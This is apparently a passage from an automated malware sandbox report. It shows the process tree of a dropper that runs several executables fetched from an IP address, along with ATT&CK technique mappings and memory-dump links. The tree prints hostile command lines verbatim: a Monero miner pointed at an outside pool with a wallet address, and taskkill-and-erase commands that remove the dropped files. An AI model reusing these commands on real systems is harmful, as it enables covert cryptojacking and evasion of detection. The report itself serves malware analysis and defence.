    PID:4988
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "http___212.192.241.136_files_file1.exe.exe" /f
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5060
- C:\Users\Admin\Documents\http___212.192.241.136_files_file2.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file2.exe.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3400
- C:\Users\Admin\Documents\http___212.192.241.136_files_file3.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file3.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3116
- C:\Users\Admin\Documents\http___212.192.241.136_files_file8.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file8.exe.exe"
  2⤵
  - Executes dropped EXE
  - Drops startup file
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o gulf.moneroocean.stream:10128 -u 499DUXTsgeNCiUBBZxPZaYj1uiSCAcCF8jDmNXkX8nTUTuZ9xQrR8kLhk8sNCeU5VMKZtoeNpQncYfLLWt3zRxGy3uMQSMV -p x -k -v=0 --donate-level=1 -t 1
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3872
- C:\Users\Admin\Documents\http___212.192.241.136_files_file6.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file6.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Users\Admin\Documents\http___212.192.241.136_files_file5.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file5.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Users\Admin\Documents\http___212.192.241.136_files_file5.exe.exe
    C:\Users\Admin\Documents\http___212.192.241.136_files_file5.exe.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4372
- C:\Users\Admin\Documents\http___212.192.241.136_files_file7.exe.exe
  "C:\Users\Admin\Documents\http___212.192.241.136_files_file7.exe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
    C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddInProcess32.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im "B00F279B575B3F07A06352A37A378323.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\B00F279B575B3F07A06352A37A378323.exe" & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\taskkill.exe
    taskkill /im "B00F279B575B3F07A06352A37A378323.exe" /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4896

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
PID:2488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1220-158-0x0000000004E30000-0x0000000004E31000-memory.dmp

Download

memory/1220-147-0x00000000003F0000-0x00000000003F1000-memory.dmp

Download

memory/1220-217-0x0000000004DF0000-0x0000000004DF9000-memory.dmp

Download

memory/1220-161-0x0000000004D90000-0x0000000004D91000-memory.dmp

Download

memory/1220-157-0x0000000004C30000-0x000000000512E000-memory.dmp

Download

memory/1388-178-0x0000000000ED0000-0x0000000000ED1000-memory.dmp

Download

memory/1388-170-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/1404-151-0x0000000004F10000-0x0000000004F11000-memory.dmp

Download

memory/1404-218-0x0000000004EE0000-0x0000000004EEA000-memory.dmp

Download

memory/1404-155-0x0000000004EA0000-0x0000000004EA1000-memory.dmp

Download

memory/1404-159-0x0000000004E70000-0x000000000536E000-memory.dmp

Download

memory/1404-149-0x0000000005370000-0x0000000005371000-memory.dmp

Download

memory/1404-145-0x0000000000440000-0x0000000000441000-memory.dmp

Download

memory/1444-195-0x0000000002F60000-0x000000000386C000-memory.dmp

Download

memory/1444-197-0x0000000000400000-0x0000000000D26000-memory.dmp

Download

memory/2136-211-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Download

memory/2136-138-0x0000000000240000-0x0000000000241000-memory.dmp

Download

memory/2184-114-0x0000000000B30000-0x0000000000B31000-memory.dmp

Download

memory/2184-116-0x000000001B820000-0x000000001B822000-memory.dmp

Download

memory/2824-180-0x0000000000460000-0x000000000050E000-memory.dmp

Download

memory/2824-181-0x0000000000400000-0x000000000045D000-memory.dmp

Download

memory/3116-193-0x0000000004B92000-0x0000000004B93000-memory.dmp

Download

memory/3116-198-0x0000000004B93000-0x0000000004B94000-memory.dmp

Download

memory/3116-182-0x0000000002220000-0x000000000223A000-memory.dmp

Download

memory/3116-188-0x00000000005D0000-0x00000000005FF000-memory.dmp

Download

memory/3116-184-0x0000000002460000-0x0000000002479000-memory.dmp

Download

memory/3116-192-0x0000000004B90000-0x0000000004B91000-memory.dmp

Download

memory/3116-199-0x0000000004B94000-0x0000000004B96000-memory.dmp

Download

memory/3116-190-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3144-133-0x0000000000640000-0x0000000000641000-memory.dmp

Download

memory/3144-153-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Download

memory/3400-167-0x0000000003280000-0x0000000003281000-memory.dmp

Download

memory/3400-154-0x0000000077300000-0x000000007748E000-memory.dmp

Download

memory/3400-164-0x00000000058B0000-0x00000000058B1000-memory.dmp

Download

memory/3400-169-0x00000000055C0000-0x00000000055C1000-memory.dmp

Download

memory/3400-166-0x0000000005320000-0x0000000005321000-memory.dmp

Download

memory/3400-187-0x0000000006E30000-0x0000000006E31000-memory.dmp

Download

memory/3400-196-0x00000000069F0000-0x00000000069F1000-memory.dmp

Download

memory/3400-168-0x0000000005360000-0x0000000005361000-memory.dmp

Download

memory/3400-185-0x0000000006730000-0x0000000006731000-memory.dmp

Download

memory/3400-162-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

Download

memory/3400-165-0x00000000052C0000-0x00000000052C1000-memory.dmp

Download

memory/3872-214-0x0000000000180000-0x0000000000194000-memory.dmp

Download

memory/3872-258-0x00000000001D0000-0x00000000001F0000-memory.dmp

Download

memory/3872-229-0x00000000001B0000-0x00000000001D0000-memory.dmp

Download

memory/4168-231-0x00000000021C0000-0x0000000002251000-memory.dmp

Download

memory/4168-232-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/4308-264-0x0000000004B24000-0x0000000004B26000-memory.dmp

Download

memory/4308-263-0x0000000004B23000-0x0000000004B24000-memory.dmp

Download

memory/4308-262-0x0000000004B22000-0x0000000004B23000-memory.dmp

Download

memory/4308-261-0x0000000004B20000-0x0000000004B21000-memory.dmp

Download

memory/4308-260-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4308-259-0x0000000000580000-0x00000000005AF000-memory.dmp

Download

memory/4372-219-0x0000000000400000-0x000000000041E000-memory.dmp

Download

memory/4372-228-0x0000000005500000-0x0000000005501000-memory.dmp

Download

memory/4580-296-0x0000000000400000-0x0000000000456000-memory.dmp

Download

memory/4580-295-0x00000000005D0000-0x00000000005F6000-memory.dmp

Download

memory/4820-251-0x0000000002180000-0x0000000002261000-memory.dmp

Download

memory/4820-252-0x0000000000400000-0x00000000004E5000-memory.dmp

Download

memory/4920-307-0x0000000000400000-0x0000000000456000-memory.dmp

Download

memory/5032-253-0x0000000002170000-0x000000000223E000-memory.dmp

Download

memory/5032-254-0x0000000000400000-0x00000000004D5000-memory.dmp

Download